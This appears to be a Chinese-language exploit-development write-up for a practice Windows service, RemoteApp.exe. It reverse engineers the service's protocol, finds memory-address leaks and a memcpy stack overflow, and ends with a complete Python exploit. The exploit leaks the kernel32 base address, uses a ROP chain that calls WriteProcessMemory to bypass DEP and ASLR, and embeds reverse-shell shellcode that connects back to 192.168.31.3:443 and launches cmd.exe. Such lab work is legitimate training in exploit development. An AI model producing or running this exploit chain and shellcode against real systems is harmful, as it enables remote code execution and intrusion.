RemoteApp.exe DEP+ASLR
文件链接:Sh3lldon
0x01初步
-
开放端口:9999 TCP
-
加载的模块:
-
利用防护:DEP+ASLR
0x02逆向工程
0x01 同步windbg和ida64用于追踪输入数据
导入表缺失:
发送0x1000个字节到目标程序,接收失败,但得到了recv函数的调用地址:
在ida中发现目标程序使用UPX加了一个壳,在kali中使用upx -d RemoteApp.exe
成功脱壳。
recv的len参数是0x4000,排除是buffer过大的原因。在recv被调用之前调用了puts输出了一个字符串,字符串表示在接收之前目标程序会先发送一些数据。
在POC中发送之前接收到了一些字符串,但依然在目标程序中接收失败:
回到ida,发现调用了两次send去发送数据到kali:
buffer += b"A" * (bufferSize - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
recvbuf = s.recv(1024)
print(recvbuf)
recvbuf = s.recv(1024)
print(recvbuf)
s.send(buffer)
print("[+] send buffer " + hex(len(buffer)) + " bytes")
s.close()
0x02 寻找命令解析模块
输入buffer的第一个dword被用于“金丝雀”检查,用于检查是否为期望的数据,具体算法是“使用buffer大小值和buffer第一个dword是否异或得0x11223344“:
第五个字节和第六个字节分别检查了是否为“A"和"B",然后就到达了opcode字段的检查分别调用不同的功能:
输入buffer的第六个字节起的dword被用作命令操作码,并没有四字节对齐:
每个操作码被用于调用不同的函数从函数0到函数3,它们对应的操作码从0x383到0x0386:
操作码 | 函数 | 功能 |
---|---|---|
0x383 | Function0 | 获得WS2_32的地址,并且发送到客户端(攻击方) |
0x384 | Function1 | 获得kernel32的地址,并且发送到客户端(攻击方) |
0x385 | Function2 | 获得main函数的地址,并且发送到客户端(攻击方) |
0x386 | Function3 | 将输入buffer复制到一个新空间 |
由以上信息,我们PoC中的buffer格式需要如下:
canary = pack("<L", bufferSize ^ 0x11223344)
buffer = canary
buffer += b"\x41\x42" # 另外的canary检查
opcode = b""
buffer += opcode
- canary0 = bufferSize xor 0x11223344
- canary1 = "AB"
- opcode = 0x382 - 0x386
0x03漏洞发现
不同的操作码会调用不同的函数,总共四个函数,0, 1 ,2 都包含了地址泄漏漏洞,3中调用了memcpy函数,含有一个栈溢出漏洞。
操作码 | 函数 | 功能 |
---|---|---|
0x383 | Function0 | 获得WS2_32的地址,并且发送到客户端(攻击方) |
0x384 | Function1 | 获得kernel32的地址,并且发送到客户端(攻击方) |
0x385 | Function2 | 获得main函数的地址,并且发送到客户端(攻击方) |
0x386 | Function3 | 将输入buffer复制到一个新空间 |
0x01漏洞分析:
一, Function0-2内存地址泄漏漏洞分析:
三个函数都类似,区别是它们会对比不同的模块名称字符串。
我们首先分析参数的传递:src中保存了输入buffer,并且通过Function0-2的第二个参数传入:
Function0:
Function1的参数传递,与0和2相似:
在Function1函数的起始处,在var_28开始的地方存入了KERNEL32.dll
的字符串:
接下来是是一个循环,它的作用是对比buffer+0x0A
的位置是否保存了KERNEL32.dll
字符串,若没有对比成功会发送给客户端一个“Not correct dll”信息:
接下来使用GetModuleHandle API去获得KERNEL32.dll被加载到内存的地址,并且最终通过send函数发送给客户端:
Function1和Function2也是同样的流程,不再赘述。
二,Function3栈溢出漏洞分析
buffer被传递到第一个参数:
栈溢出很直观,使用memcpy复制了0x4000个内存空间,而在栈空间中用于接收buffer的内存块指针是用ebp-0x7d8开始的,这意味着0x7d8个字节就可以覆盖函数返回地址,当Function3返回时客户端(攻击方)发送的输入buffer将控制eip寄存器,从而控制CPU执行流。
三,函数位置总览
由于整个程序包括加载的模块都编译了ASLR,我们可以使用任意一个地址泄漏漏洞去在栈溢出漏洞中绕过DEP和ASLR,并且获得系统任意代码执行shell。
每个地址泄漏漏洞分别会泄漏不同的模块地址,并且栈溢出漏洞使用的是memcpy函数,这意味着很可能不包含任何坏字符,所以RemoteApp.exe也是一个gadget源的选项。
kernel32模块一共0x98000个字节,ws2_32一共0x67000个字节,我们使用kernel32可以获得最多的gadget。
PoC触发栈溢出和内存地址泄漏漏洞:
- PoC
PoC分为两个阶段,第一个阶段使用操作码0x383
去获得kernerl32.dll在内存中的基地址,并且将接收到的bytes格式的地址数据解析成int类型用于后续RoP等地址计算;第二个阶段使用操作码0x386
去触发栈溢出,并且成功控制eip和esp指向的区域。
在PoC中,第一阶段的函数为getAddress(),第二阶段为exploit(),并且fixAddress()用于将rp++输出的以kernel32.dll在文件系统上的基地址转换成实际在内存中的地址,用于rop编写。
-
地址泄漏
-
栈溢出
触发漏洞的PoC:
#! /bin/python3
import os
import sys
import socket
from struct import pack
###
# RemoteApp.exe DEP+ASLR
###
host = "192.168.31.117"
port = 9999
buffer = b''
# offset : eip = , esp =
def getAddress ():
buffer1Size = 0x40
canary = pack("<L", buffer1Size ^ 0x11223344)
buffer1 = canary
buffer1 += b"\x41\x42" # 另外的canary检查
opcode = pack("<L", 0x384) # get address of kernel32
buffer1 += opcode
buffer1 += b"KERNEL32.dll"
buffer1 += b"A" * (buffer1Size - len(buffer1))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print("[ ] recv buffer from RemoteApp.exe : \r\n")
recvbuf = s.recv(1024)
print(recvbuf)
recvbuf = s.recv(1024)
print(recvbuf)
s.send(buffer1)
recvbuf = s.recv(1024)
print(recvbuf)
recvbuf = s.recv(1024)
print(recvbuf)
addressIndex = recvbuf.find(b": ")
address = int(recvbuf[addressIndex+2:addressIndex+2+8], 16)
s.close()
print("")
return address
def fixAddress(baseAddress, _address):
fileBaseAddress = 0x68900000
_address = _address - fileBaseAddress
address = _address + baseAddress
return pack("<L", address)
def exploit():
print("")
bufferSize = 0x1c84
canary = pack("<L", bufferSize ^ 0x11223344)
buffer = canary
buffer += b"\x41\x42" # 另外的canary检查
opcode = pack("<L", 0x386) # stack overflow
buffer += opcode
buffer += b"A" * (bufferSize - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print("[ ] recv buffer from RemoteApp.exe :")
recvbuf = s.recv(1024)
print(recvbuf)
recvbuf = s.recv(1024)
print(recvbuf)
s.send(buffer)
print("[ ] send evil buffer " + hex(len(buffer)) + " bytes")
s.close()
print("[1] Get address of kerner32.dll using opcode 900 :")
baseAddress = getAddress()
print("[+] kernerl32.dll address : " + hex(baseAddress))
print("")
print("######################################")
print("[2] Send venom buffer to get shell :")
exploit()
print("[+] done! ")
0x04 利用开发
0x00 组合两个漏洞
为了在栈溢出中绕过ASLR和DEP,我们需要获得目标程序某个模块运行时的地址,而rp++输出的地址是模块PE中的默认加载地址(kernel32.dll默认地址为0x68900000),我们需要一个函数去将默认地址转换为实际运行地址,fixAddress做了这个工作:
def fixAddress(baseAddress, _address):
fileBaseAddress = 0x68900000
_address = _address - fileBaseAddress
address = _address + baseAddress
return pack("<L", address)
函数的第一个参数传入利用漏洞获得的kernel32的内存基地址,第二个参数传入RoP的文件默认地址,它将返回在运行时的RoP地址。
0x01 偏移检查
- eip offset = 0n2002
- esp offset = 0n2006
0x02 坏字符检查
- 没有任何坏字符。
0x03 RoP编写
- 获得WriteProcessMemory地址:
由于gadgets是用的kernel32.dll,可以直接得到WriteProcessMemory的调用地址:
我们需要的调用WPM结构如下:
名称 | 值 | 说明 |
---|---|---|
WriteProcessMemory调用地址 | 0x689440a0 | 调用WirteProcessMemory API |
返回地址 | 代码段中的地址 | 在WirteProcessMemory运行成功并且返回后会直接运行这个地址的shellcode |
hProcess | -1 | 表示需要写入的进程,-1表示当前进程 |
lpBaseAddress | 代码段中的地址 | 将shellcode写入的目的地址,代码段具有可执行权限和读权限 |
lpBuffer | 调用结构+0x44位置 | 栈中的shellcode地址,即复制的原地址 |
nSize | 0x210 | 复制的大小 |
[OUT] lpNumbelOfBytesWritten | 数据段可写的地址 | 用于存放WirteProcessMemory的返回内容,如果不可写将会调用失败 |
- 代码洞地址-
lpBaseAddress
和返回地址
:
使用!dh -s kernel32
查看代码段地址:
计算和检查代码段分配的内存块末尾的代码洞:
计算在内存中的偏移后并且计算在文件中的默认地址,用于rop编写,计算得0x68985de0
:
- 可写地址-
[OUT] lpNumbelOfBytesWritten
参数
使用!dh -s kernel32
查看数据段可写的地址:
寻找为零的地址空间,并且再次验证内存权限是否可读:
现在有了调用结构的所有预备参数:
名称 | 值 | 说明 |
---|---|---|
WriteProcessMemory调用地址 | 0x689440a0 |
调用WirteProcessMemory API |
返回地址 | 0x68985de0 |
在WirteProcessMemory运行成功并且返回后会直接运行这个地址的shellcode |
hProcess | -1 |
表示需要写入的进程,-1表示当前进程 |
lpBaseAddress | 0x68985de0 |
将shellcode写入的目的地址,代码段具有可执行权限和读权限 |
lpBuffer | 调用结构+0x44位置 | 栈中的shellcode地址,即复制的原地址 |
nSize | 0x210 |
复制的大小 |
[OUT] lpNumbelOfBytesWritten | 0x68986FE0 |
用于存放WirteProcessMemory的返回内容,如果不可写将会调用失败 |
除了lpBuffer需要动态计算外,其他参数都可以静态放置。但作为练习目的,我们全部使用RoP动态计算。
Get shell
截图:
0x05 Get shell PoC
#! /bin/python3
import os
import sys
import socket
from struct import pack
###
# RemoteApp.exe DEP+ASLR
###
host = "192.168.31.117"
port = 9999
# offset : eip = 2002 + 12 , esp = 2006 + 12
# badchars :
def getAddress ():
buffer1Size = 0x40
canary = pack("<L", buffer1Size ^ 0x11223344)
buffer1 = canary
buffer1 += b"\x41\x42" # 另外的canary检查
opcode = pack("<L", 0x384) # get address of kernel32
buffer1 += opcode
buffer1 += b"KERNEL32.dll"
buffer1 += b"A" * (buffer1Size - len(buffer1))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print("[ ] recv buffer from RemoteApp.exe : \r\n")
recvbuf = s.recv(1024)
print(recvbuf)
recvbuf = s.recv(1024)
print(recvbuf)
s.send(buffer1)
recvbuf = s.recv(1024)
print(recvbuf)
recvbuf = s.recv(1024)
print(recvbuf)
addressIndex = recvbuf.find(b": ")
address = int(recvbuf[addressIndex+2:addressIndex+2+8], 16)
s.close()
print("")
return address
def fixAddress(baseAddress, _address):
fileBaseAddress = 0x68900000
_address = _address - fileBaseAddress
address = _address + baseAddress
print(hex(address))
return pack("<L", address)
def rop(baseAddress):
ropbuf = b""
### call address of WPM
ropbuf += fixAddress(baseAddress, 0x68971cdd) # push esp ; pop esi ; ret ;
ropbuf += fixAddress(baseAddress, 0x689735c4) # mov eax, esi ; pop esi ; ret ;
ropbuf += pack("<L", 0xfffffe00) # # -0x200 (-0n512) pop to esi
ropbuf += fixAddress(baseAddress, 0x68952935) # sub eax, esi ; pop esi ; ret ;
ropbuf += pack("<L", 0xffffffff) # #
ropbuf += fixAddress(baseAddress, 0x6891a93c) # mov ecx, eax ; mov eax, ecx ; pop ebp ; ret ;
ropbuf += pack("<L", 0xffffffff) # #
ropbuf += fixAddress(baseAddress, 0x6894c282) # pop edx ; ret ;
ropbuf += fixAddress(baseAddress, 0x689440a0) # # WPM address
ropbuf += fixAddress(baseAddress, 0x68914b08) # mov dword [ecx], edx ; pop ebp ; retn 0x0004 ;
ropbuf += pack("<L", 0xffffffff) # #
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += pack("<L", 0xffffffff) # # for retn 0x04
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x6894c282) # pop edx ; ret ;
ropbuf += fixAddress(baseAddress, 0x68985de0) # # return address = shellcode (code cave)
ropbuf += fixAddress(baseAddress, 0x68914b08) # mov dword [ecx], edx ; pop ebp ; retn 0x0004 ;
ropbuf += pack("<L", 0xffffffff) # #
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += pack("<L", 0xffffffff) # #
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x6894c282) # pop edx ; ret ;
ropbuf += pack("<L", 0xffffffff) # # -1
ropbuf += fixAddress(baseAddress, 0x68914b08) # mov dword [ecx], edx ; pop ebp ; retn 0x0004 ;
ropbuf += pack("<L", 0xffffffff) # #
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += pack("<L", 0xffffffff) # #
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x6894c282) # pop edx ; ret ;
ropbuf += fixAddress(baseAddress, 0x68985de0) # # lpBaseAddress = code cave
ropbuf += fixAddress(baseAddress, 0x68914b08) # mov dword [ecx], edx ; pop ebp ; retn 0x0004 ;
ropbuf += pack("<L", 0xffffffff) # #
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += pack("<L", 0xffffffff) # #
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x6891e040) # mov eax, ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x68971cde) # pop esi ; ret ;
ropbuf += pack("<L", 0xffffffe0) # # -0x20
ropbuf += fixAddress(baseAddress, 0x68952935) # sub eax, esi ; pop esi ; ret ;
ropbuf += pack("<L", 0xffffffff) # #
ropbuf += fixAddress(baseAddress, 0x6891e095) # xchg eax, edi ; retn 0x0001 ;
ropbuf += fixAddress(baseAddress, 0x689541da) # mov edx, edi ; mov eax, esi ; pop edi ; pop esi ; pop ebp ; retn 0x0010 ;
ropbuf += b"\xff" # for retn 0x01
ropbuf += pack("<L", 0xffffffff) # # for pop edi
ropbuf += pack("<L", 0xffffffff) # # for pop esi
ropbuf += pack("<L", 0xffffffff) # # for pop ebp
ropbuf += fixAddress(baseAddress, 0x68914b08) # mov dword [ecx], edx ; pop ebp ; retn 0x0004 ;
ropbuf += pack("<L", 0xffffffff) # # for pop ebp
ropbuf += pack("<L", 0xffffffff) # #
ropbuf += pack("<L", 0xffffffff) # #
ropbuf += pack("<L", 0xffffffff) # #
ropbuf += pack("<L", 0xffffffff) # #
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += pack("<L", 0xffffffff) # # for retn 0x04
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x6894c282) # pop edx ; ret ;
ropbuf += pack("<L", 0x00000220) # # 0x200
ropbuf += fixAddress(baseAddress, 0x68914b08) # mov dword [ecx], edx ; pop ebp ; retn 0x0004 ;
ropbuf += pack("<L", 0xffffffff) # #
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += pack("<L", 0xffffffff) # #
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x6890b60f) # inc ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x6894c282) # pop edx ; ret ;
ropbuf += fixAddress(baseAddress, 0x68986fe0) # # writable address
ropbuf += fixAddress(baseAddress, 0x68914b08) # mov dword [ecx], edx ; pop ebp ; retn 0x0004 ;
ropbuf += pack("<L", 0xffffffff) # #
ropbuf += fixAddress(baseAddress, 0x68971cde) # pop esi ; ret ;
ropbuf += pack("<L", 0xffffffff) # #
ropbuf += pack("<L", 0x00000018) # # 0x18 , 0n24
ropbuf += fixAddress(baseAddress, 0x6891e040) # mov eax, ecx ; ret ;
ropbuf += fixAddress(baseAddress, 0x68952935) # sub eax, esi ; pop esi ; ret ;
ropbuf += pack("<L", 0xffffffff) # #
ropbuf += fixAddress(baseAddress, 0x68979884) # xchg eax, esp ; ret ;
####
#0x68914b08: mov dword [ecx], edx ; pop ebp ; retn 0x0004 ;
#0x689160bf: mov ecx, dword [edx] ; sub eax, ecx ; ret ;
#0x68955f5e: mov eax, dword [eax] ; mov esp, ebp ; pop ebp ; retn 0x0008 ;
#0x6891e040: mov eax, ecx ; ret ;
#0x68921eb7: mov eax, edx ; ret ;
#0x689737ac: xchg eax, ebp ; ret ;
#0x6891e095: xchg eax, edi ; retn 0x0001 ;
#0x6891a93c: mov ecx, eax ; mov eax, ecx ; pop ebp ; ret ;
#0x68970cf3: push edx ; mov eax, 0xE58BFFFB ; pop ebp ; ret ;
#0x68959c00: push ebx ; pop edi ; pop esi ; pop ebx ; pop ebp ; retn 0x000C ;
return ropbuf
def exploit(baseAddress):
print("")
bufferSize = 0x1c84
canary = pack("<L", bufferSize ^ 0x11223344)
buffer = canary
buffer += b"\x41\x42" # 另外的canary检查
opcode = pack("<L", 0x386) # stack overflow
buffer += opcode
offsetOfEIP = b"B" * 2002
ropbuf = rop(baseAddress)
buffer += offsetOfEIP + ropbuf
print("[ ] rop size : " + hex(len(ropbuf)))
offsetOfshellcode = b"\x90" * (0x200 - len(ropbuf) + 0x20 + 0x20)
# └─$ python win_x86_shellcoder.py reverse -i 192.168.31.3 -p 443
# shellcode size: 0x151 (337)
shellcode = b'\x89\xe5\x81\xc4\xf0\xf9\xff\xff\xeb\x06^\x89u\x04\xebN\xe8\xf5\xff\xff\xff`1\xc9d\x8bq0\x8bv\x0c\x8bv\x1cV\x8b^\x08\x0f\xb6F\x1e\x89E\xf8\x8bC<\x8b|\x03x\x01\xdf\x8bO\x18\x8bG \x01\xd8\x89E\xfc\xe3\x1dI\x8bE\xfc\x8b4\x88\x01\xde1\xc0\x8bU\xf8\xfc\xac\x84\xc0t\x0e\xc1\xca\x02\x01\xc2\xeb\xf4\xeb)^\x8b6\xeb\xbd;T$(u\xd6\x8bW$\x01\xdaf\x8b\x0cJ\x8bW\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89D$ ^aYZQ\xff\xe0\xb8\xb4\xb3\xff\xfe\xf7\xd8Ph32.DhWS2_Thhz\xc4v\xffU\x04\x89\xe01\xc9f\xb9\x90\x05)\xc8P1\xc0f\xb8\x02\x02Ph\x96 \x9e\xcc\xffU\x041\xc0PPP\xb0\x06P,\x05P@Phf ^\x81\xffU\x04\x89\xc61\xc0PPh\xc0\xa8\x1f\x03f\xb8\x01\xbb\xc1\xe0\x10f\x83\xc0\x02PT_1\xc0PPPP\x04\x10PWVh\x95 ^W\xffU\x04VVV1\xc0\x8dH\rP\xe2\xfd\xb0DPT_f\xc7G,\x01\x01\xb8\x9b\x87\x9a\xff\xf7\xd8Phcmd.\x89\xe3\x89\xe01\xc9f\xb9\x90\x03)\xc8PW1\xc0PPP@PHPPSPh\xc7(\xaa\x0b\xffU\x041\xc9Qj\xffh\xd2U\xa9.\xffU\x04'
buffer += offsetOfshellcode + shellcode
buffer += b"A" * (bufferSize - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print("[ ] recv buffer from RemoteApp.exe :")
recvbuf = s.recv(1024)
print(recvbuf)
recvbuf = s.recv(1024)
print(recvbuf)
s.send(buffer)
recvbuf = s.recv(1024)
print(recvbuf)
recvbuf = s.recv(1024)
print(recvbuf)
print("[ ] send evil buffer " + hex(len(buffer)) + " bytes")
s.close()
print("### [1] Get address of kerner32.dll using opcode 900 : ###")
baseAddress = getAddress()
print("[+] kernerl32.dll address : " + hex(baseAddress))
print("")
print("### [2] Send venom buffer to get shell : ###")
exploit(baseAddress)
print("### [+] done! ###")